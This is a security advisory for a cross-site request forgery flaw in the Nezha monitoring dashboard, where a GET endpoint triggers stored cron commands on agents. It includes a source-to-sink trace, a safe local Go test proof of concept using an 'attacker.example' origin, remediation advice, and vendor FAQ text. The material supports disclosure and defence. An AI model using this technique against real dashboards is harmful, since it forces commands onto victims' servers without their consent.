Summary
Nezha has cross-site GET request that can trigger stored cron commands on a victim's agents
The dashboard exposes the cron manual-trigger action as an authenticated GET /api/v1/cron/:id/manual endpoint. Dashboard JWTs are sent in the nz-jwt cookie and configured with SameSite=Lax, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim's browser to the manual-trigger URL.
If the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.
Details
Source-to-sink chain:
- The dashboard registers the manual cron trigger as a GET route under the authenticated API group:
auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron))atcmd/dashboard/controller/controller.go:131-134. - JWT auth is cookie-enabled:
CookieName: "nz-jwt",SendCookie: true,CookieSameSite: http.SameSiteLaxMode, andTokenLookup: "header: Authorization, query: token, cookie: nz-jwt"atcmd/dashboard/controller/jwt.go:23-46. - The handler parses the route ID, loads the cron object, checks only normal object ownership via
cr.HasPermission(c), then callssingleton.ManualTrigger(cr)atcmd/dashboard/controller/cron.go:170-187. ManualTriggerimmediately runsCronTrigger(cr)()atservice/singleton/crontask.go:249-250.CronTriggerdispatches the stored command to online eligible agents vias.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand})atservice/singleton/crontask.go:289-304after the owner/server check incronCanSendToServer(service/singleton/crontask.go:315-317).- Object authorization is user ownership/admin only:
Common.HasPermissionreturns true for admins or matchingUserIDatmodel/common.go:44-56. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.
False-positive screening:
- The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.
- The route is authenticated, and the unauthenticated negative control failed with
ApiErrorUnauthorizedand dispatched no task. SameSite=Laxmitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.- The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.
- The permission check still limits the triggered task to the victim's own task or an admin's task, but CSRF abuses the victim's browser/session to satisfy that check.
PoC
Safe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text touch /tmp/should-not-run. It then performs two requests:
- Negative control: cross-site-style GET without the
nz-jwtcookie. Expected result: response containsApiErrorUnauthorized; zero tasks are dispatched. - Positive proof: cross-site-style GET with the victim's
nz-jwtcookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream withId=7,Type=model.TaskTypeCommand, andData="touch /tmp/should-not-run".
Command run from a clean checkout of the tested tree:
cat >/tmp/nezha-docs-stub.go <<'EOF'
package docs
var SwaggerInfo = struct {
Version string
}{Version: "test"}
EOF
cat >/tmp/nezha-cron-csrf-poc-test.go <<'EOF'
package controller
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"time"
"github.com/gin-gonic/gin"
"github.com/patrickmn/go-cache"
"google.golang.org/grpc/metadata"
"gorm.io/driver/sqlite"
"gorm.io/gorm"
"github.com/nezhahq/nezha/model"
"github.com/nezhahq/nezha/pkg/i18n"
pb "github.com/nezhahq/nezha/proto"
"github.com/nezhahq/nezha/service/singleton"
)
type capturedTaskStream struct { tasks []*pb.Task }
func (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }
func (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }
func (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SetTrailer(metadata.MD) {}
func (s *capturedTaskStream) Context() context.Context { return context.Background() }
func (s *capturedTaskStream) SendMsg(any) error { return nil }
func (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }
func TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {
gin.SetMode(gin.TestMode)
db, err := gorm.Open(sqlite.Open("file:cron_csrf_poc?mode=memory&cache=shared"), &gorm.Config{})
if err != nil { t.Fatal(err) }
if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.Cron{}); err != nil { t.Fatal(err) }
if err := db.Create(&model.User{Common: model.Common{ID: 100}, Username: "victim", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }
if err := db.Create(&model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: "victim-agent"}).Error; err != nil { t.Fatal(err) }
singleton.DB = db
singleton.Loc = time.UTC
singleton.Cache = cache.New(time.Minute, time.Minute)
singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations)
singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: "test"}, JWTSecretKey: "test-secret-for-cron-csrf-poc", JWTTimeout: 1}}
singleton.ServerShared = singleton.NewServerClass()
singleton.CronShared = singleton.NewCronClass()
defer singleton.CronShared.Stop()
stream := &capturedTaskStream{}
server, ok := singleton.ServerShared.Get(200)
if !ok { t.Fatal("server missing from singleton") }
server.TaskStream = stream
cronTask := &model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: "victim cron", TaskType: model.CronTypeCronTask, Command: "touch /tmp/should-not-run", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}
singleton.CronShared.Update(cronTask)
authMiddleware := initParams()
if err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }
token, _, err := authMiddleware.TokenGenerator(map[string]interface{}{"user_id": "100", "ip": "203.0.113.10"})
if err != nil { t.Fatal(err) }
r := gin.New()
r.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, "203.0.113.10"); c.Next() })
auth := r.Group("", authMiddleware.MiddlewareFunc())
auth.GET("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron))
wNoCookie := httptest.NewRecorder()
reqNoCookie := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
reqNoCookie.Header.Set("Origin", "https://attacker.example")
reqNoCookie.Header.Set("Sec-Fetch-Site", "cross-site")
r.ServeHTTP(wNoCookie, reqNoCookie)
if !strings.Contains(wNoCookie.Body.String(), "ApiErrorUnauthorized") { t.Fatalf("expected unauthenticated control to fail, got status=%d body=%s", wNoCookie.Code, wNoCookie.Body.String()) }
if len(stream.tasks) != 0 { t.Fatalf("unauthenticated control dispatched %d task(s)", len(stream.tasks)) }
w := httptest.NewRecorder()
req := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
req.Header.Set("Origin", "https://attacker.example")
req.Header.Set("Sec-Fetch-Site", "cross-site")
req.AddCookie(&http.Cookie{Name: "nz-jwt", Value: token})
r.ServeHTTP(w, req)
var resp struct { Success bool `json:"success"`; Error string `json:"error"` }
if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { t.Fatalf("decode response: %v body=%s", err, w.Body.String()) }
if !resp.Success { t.Fatalf("manual trigger failed: status=%d body=%s", w.Code, w.Body.String()) }
if len(stream.tasks) != 1 { t.Fatalf("expected one dispatched task, got %d", len(stream.tasks)) }
dispatched := stream.tasks[0]
if dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != "touch /tmp/should-not-run" { t.Fatalf("unexpected dispatched task: id=%d type=%d data=%q", dispatched.Id, dispatched.Type, dispatched.Data) }
}
EOF
cat >/tmp/nezha-overlay-cron-csrf.json <<'EOF'
{
"Replace": {
"/path/to/nezha/cmd/dashboard/docs/docs.go": "/tmp/nezha-docs-stub.go",
"/path/to/nezha/cmd/dashboard/controller/cron_csrf_poc_test.go": "/tmp/nezha-cron-csrf-poc-test.go"
}
}
EOF
# Replace /path/to/nezha above with the local checkout path, then run:
go test -vet=off -overlay=/tmp/nezha-overlay-cron-csrf.json ./cmd/dashboard/controller -run TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET -count=1 -v
Observed output in this environment:
=== RUN TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET
--- PASS: TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET (0.00s)
PASS
ok github.com/nezhahq/nezha/cmd/dashboard/controller 0.019s
The -vet=off flag was only needed because this checkout lacks the generated cmd/dashboard/docs directory and Go vet still tries to chdir into the overlay-created package directory. The overlay includes a minimal docs package stub so the controller package can compile without generating Swagger files.
Cleanup:
rm -f /tmp/nezha-docs-stub.go /tmp/nezha-cron-csrf-poc-test.go /tmp/nezha-overlay-cron-csrf.json
Suggested remediation
- Make manual cron triggering a non-idempotent method such as
POST /api/v1/cron/:id/manualinstead of GET. - Require a CSRF token for cookie-authenticated state-changing requests, or reject unsafe cross-site requests with
Origin/Refererand Fetch Metadata validation. - Consider not accepting JWTs from cookies for state-changing API calls unless a CSRF token is present.
- Add a regression test that sends a cross-site-style GET with a valid cookie and asserts no cron task is dispatched.
- If frontend compatibility requires cookies, keep
SameSite=Laxor stricter, but do not rely on it to protect state-changing GET routes.
Impact
A remote attacker can cause a logged-in dashboard user to trigger an existing cron task by making the user's browser navigate to /api/v1/cron/<known-id>/manual. If that cron task dispatches an agent command, the command is sent to the victim's online agent without the victim intentionally clicking the manual trigger in the dashboard.
Security impact is integrity and availability:
- Integrity: forced execution of a stored command on victim-controlled agents.
- Availability: forced execution of disruptive stored tasks, repeated task starts, or repeated notifications/offline failure paths.
- Confidentiality: not directly demonstrated; the PoC does not show data exfiltration.
A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones. Typical impact: state-changing actions performed as the victim without their consent.
CVE-2026-49396 has a CVSS score of 7.1 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.14); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-49396? CVE-2026-49396 is a high-severity cross-site request forgery (CSRF) vulnerability in github.com/nezhahq/nezha (go), affecting versions >= 1.0.0, < 2.0.14. It is fixed in 2.0.14. A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones.
- How severe is CVE-2026-49396? CVE-2026-49396 has a CVSS score of 7.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/nezhahq/nezha are affected by CVE-2026-49396? github.com/nezhahq/nezha (go) versions >= 1.0.0, < 2.0.14 is affected.
- Is there a fix for CVE-2026-49396? Yes. CVE-2026-49396 is fixed in 2.0.14. Upgrade to this version or later.
- Is CVE-2026-49396 exploitable, and should I be worried? Whether CVE-2026-49396 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-49396 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-49396? Upgrade
github.com/nezhahq/nezhato 2.0.14 or later.